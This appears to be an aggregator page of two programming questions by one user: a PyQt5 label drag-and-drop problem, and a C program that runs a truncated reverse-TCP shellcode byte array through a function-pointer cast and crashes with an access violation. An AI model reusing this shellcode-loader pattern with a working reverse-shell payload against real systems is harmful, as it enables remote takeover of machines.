小编Ein*_*Jam的帖子

使用 PyQt5 拖放 QLabels

我正在尝试使用 PyQt5 将 Qlabel 拖放到另一个 Qlabel 上:

from PyQt5.QtWidgets import QApplication, QWidget, QToolTip, QPushButton, QMessageBox, QHBoxLayout, QVBoxLayout, QGridLayout,QFrame, QComboBox, QLabel, QLineEdit
from PyQt5.QtGui import QIcon, QFont, QPixmap, QImage
import sys


class my_label(QLabel):
    def __init__(self,title,parent):
        super().__init__(title,parent)
        self.setAcceptDrops(True)

    def dragEnterEvent(self,event):
        if event.mimeData().hasFormat("text/plain"):
            event.accept()
        else:
            event.ignore()
    def dropEvent(self,event):
        self.setText(event.mimeData().text())


class application(QWidget):

    def __init__(self):
        super().__init__()
        self.initUI()

    def initUI(self):


        label = my_label("drop there",self)
        label.resize(100,100)
        label.move(190,65)

        label_to_drag = QLabel("drag this",self)
        #label_to_drag.setDragEnabled(True)    #doesn't work with QLabel        
        self.show()


    def closeEvent(self,event):
        message = QMessageBox.question(self,"Message","Quit ?",QMessageBox.Yes | QMessageBox.No,QMessageBox.No)

        if message …
Run Code Online (Sandbox Code Playgroud)

python drag-and-drop pyqt python-3.x pyqt5

4
推荐指数
1
解决办法
9895
查看次数

在C中执行shellcode(Visual Studio 2017

当我尝试用 C 执行 shellcode(一个基本的反向 TCP,指向本地地址)时遇到问题。

我从基础开始,编写了以下代码:

#define WIN32_LEAN_AND_MEAN
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <windows.h>



int main(int argc, char * argv[])
{

    unsigned char shellcode[] = \
        "\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf"
        "\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a"
        "\x35\x1c\x0a\xc6\xe7\x18\xf4\xaf\x3e\xed\x4b\x5c\x1a\x08\x8b"
        "\x71\x27\x5e\x20\xd1\x4d\xaf\x8f\x2d\x23\xe1\x68\x25\xf3\x19"
        "\xd2\x7b\x5e\xca\x26\x2a\xc7\xa0\x98\x64\x72\x7b\x03\x05\xf0"
        "\x46\x03\xdf\x19\x86\xfb\x04\xd0\x7d\xd9\xf8\xa0\xfb\x8c\xa0"
        "\x2d\xb2\xcb\x7f\xde\x7c\xc4\xd4\xe6\x94\xde\x56\x81\x53\xfc"
        "\x59\xe3\xfc\xb6\x7d\x50\x7e\xde\x6d\xf0\x8a\x33\x35\x99\xfc"
        "\x66\x0c\x45\xf0\xdc\xcb\x49\x4d\xa1\x2f\xd7\xaf\x59\xdc\xcf"
        "\x90\x8b\xd3\x7c\xb7\x7e\x6f\xa8\x15\xe4\x1d\xfd\xc2\xe7\x9d"
        "\x15\x88\x8b\xfb\x3b\x30\x1d\x41\xe6\x22\xdf\x3f\x4f\xb8\xe3"
        "\x65\x0d\xa8\xc1\x0a\x2d\xe9\x77\x7d\x84\x83\xa7\xfc\x29\x80"
        "\x72\xcd\xcc\x68\xa1\x08\x35\xda\xba\x01\xe2\xe5\x01\xe9\x05"
        ;


    int(*ret)() = (int(*)())shellcode;
    ret();

}


return 1;
}
Run Code Online (Sandbox Code Playgroud)

(我剪切了示例的 shellcode)当我使用 Visual Studio Community 2017 编译这个 .c 文件时,我收到一些关于未使用的 argv 和 argc 的警告,以及 ret 中从 () 到 (void) 的转换。

然后我尝试执行该文件,并得到一个很棒的“已停止工作”。所以我在 Visual Studio 中启动调试,这是我得到的:

调试

所以这是一个访问冲突错误,但是为什么呢?我在谷歌上搜索了一下,似乎这个错误可能有很多原因,但我不明白为什么它会发生在我身上。

c windows visual-studio metasploit shellcode

2
推荐指数
1
解决办法
4446
查看次数